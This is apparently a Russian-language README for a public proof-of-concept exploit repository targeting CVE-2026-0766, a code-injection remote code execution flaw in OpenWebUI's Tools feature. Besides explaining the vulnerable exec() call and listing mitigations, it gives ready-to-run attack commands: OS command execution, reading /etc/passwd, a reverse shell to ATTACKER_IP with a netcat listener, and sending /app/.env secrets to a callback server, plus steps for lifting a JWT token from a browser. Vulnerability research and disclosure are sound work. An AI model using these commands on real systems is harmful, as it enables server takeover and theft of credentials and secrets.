
Эксплойт proof-of-concept для CVE-2026-0766, уязвимости удалённого выполнения кода в OpenWebUI через внедрение кода в инструменты. Включает режимы выполнения команд, чтения файлов, обратной оболочки и слепой эксфильтрации.
Образовательный репозиторий по исследованию безопасности
Этот репозиторий содержит proof-of-concept код эксплуатации для CVE-2026-0766 — уязвимости удаленного выполнения кода в OpenWebUI, обнаруженной и опубликованной Zero Day Initiative (ZDI).
Этот репозиторий предназначен только для авторизованного тестирования безопасности и образовательных целей.
Автор не несет ответственности за неправомерное использование этого кода. Пользователи несут единоличную ответственность за соблюдение всех применимых законов и нормативных требований.
| Свойство | Значение |
|---|
| ID CVE | CVE-2026-0766 |
| Обнаружено | Zero Day Initiative (ZDI) |
| Затронутое ПО | OpenWebUI |
| Тип уязвимости | Внедрение кода (CWE-94) |
| Оценка CVSS | 8.8 ВЫСОКАЯ |
| Вектор CVSS | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Сложность атаки | Низкая (аутентифицированный администратор или пользователь с правами создания/обновления инструментов может эксплуатировать) |
OpenWebUI — это самостоятельно размещаемый веб-интерфейс для больших языковых моделей. Он обеспечивает интерфейс в стиле ChatGPT, который организации могут запускать на собственной инфраструктуре, сохраняя разговоры и данные LLM локально.
OpenWebUI включает функцию «Инструменты» (Tools), которая позволяет пользователям расширять возможности LLM, отправляя код на Python. Этот код выполняется на стороне сервера через функцию Python exec() без каких-либо механизмов песочницы, проверки или контроля безопасности.
Поток эксплуатации:
POST /api/v1/tools/createcontentexec(content, module.__dict__) в utils/plugin.pyКлючевой момент: Код выполняется в момент создания инструмента, а не когда LLM вызывает инструмент. Это означает, что простое создание вредоносного инструмента запускает RCE — дальнейшее взаимодействие не требуется.
Эта эксплуатация проверена на:
Уязвимость носит архитектурный характер (небезопасное использование exec() на пользовательском вводе) и присутствует во всех версиях до выпуска патча безопасности командой OpenWebUI.
Уязвимость существует в backend/open_webui/utils/plugin.py:
def load_tool_module_by_id(tool_id: str, content: str):
# Минимальная предобработка (НЕ контроль безопасности)
content = replace_imports(content)
# Создание модуля и выполнение пользовательского кода
module = types.ModuleType(f"tool_{tool_id}")
exec(content, module.__dict__) # ← УЯЗВИМОСТЬ
return module
Функция replace_imports() только переписывает пути импорта (косметически) — она не ограничивает, какой код может выполняться. Отсутствуют:
Команда OpenWebUI изначально оценила это как низкоприоритетное, отметив, что создание инструментов требует прав администратора. Однако:
После того как вендор предложил администраторам управлять этим с ограниченным доступом, ZDI опубликовала это как 0-day уязвимость (ZDI-26-032) для информирования защитников.
Автор уважает сложности поддержки проектов с открытым исходным кодом. Патчинг безопасности требует баланса между потребностями пользователей, архитектурными ограничениями и ограниченными ресурсами. Эта публикация направлена на помощь командам безопасности в оценке риска и внедрении мер смягчения.
git clone https://github.com/bitt0n/CVE-2026-0766.git
cd CVE-2026-0766
pip install requests urllib3
Скрипт эксплуатации (exploit.py) поддерживает несколько режимов атаки:
Выполнение команд ОС и получение вывода:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --cmd "id"
Чтение файлов из файловой системы сервера:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --read /etc/passwd
Запуск обратной оболочки (требуется netcat-слушатель):
# На машине атакующего:
nc -lvnp 4444
# Запуск эксплуатации:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --revshell ATTACKER_IP:4444
Отправка вывода команд на HTTP-сервер обратного вызова:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --callback http://your-server:8080 --cmd "cat /app/.env"
Скрипт принимает как JWT-токены (из входа через SSO), так и API-ключи:
Получение JWT-токена:
tokenAuthorization: Bearer ... из любого API-запросаlocalStorage.getItem("token")--token eyJhbGci...Если вы запускаете OpenWebUI и не можете немедленно установить патч:
Замените exec() на безопасную альтернативу:
RestrictedPython для выполнения в песочницеДобавьте проверки разрешений:
Эшелонированная защита:
Лицензия MIT — см. файл LICENSE для подробностей.
Этот код предоставлен для образовательных целей и целей защитной безопасности. Автор не несет ответственности за неправомерное использование.
Эта уязвимость была раскрыта ответственно:
Если вы обнаруживаете уязвимости безопасности в проектах с открытым исходным кодом, пожалуйста, следуйте практике ответственного раскрытия и дайте сопровождающим время на установку патча перед публичным раскрытием.
По вопросам или для обратной связи: Откройте issue в этом репозитории.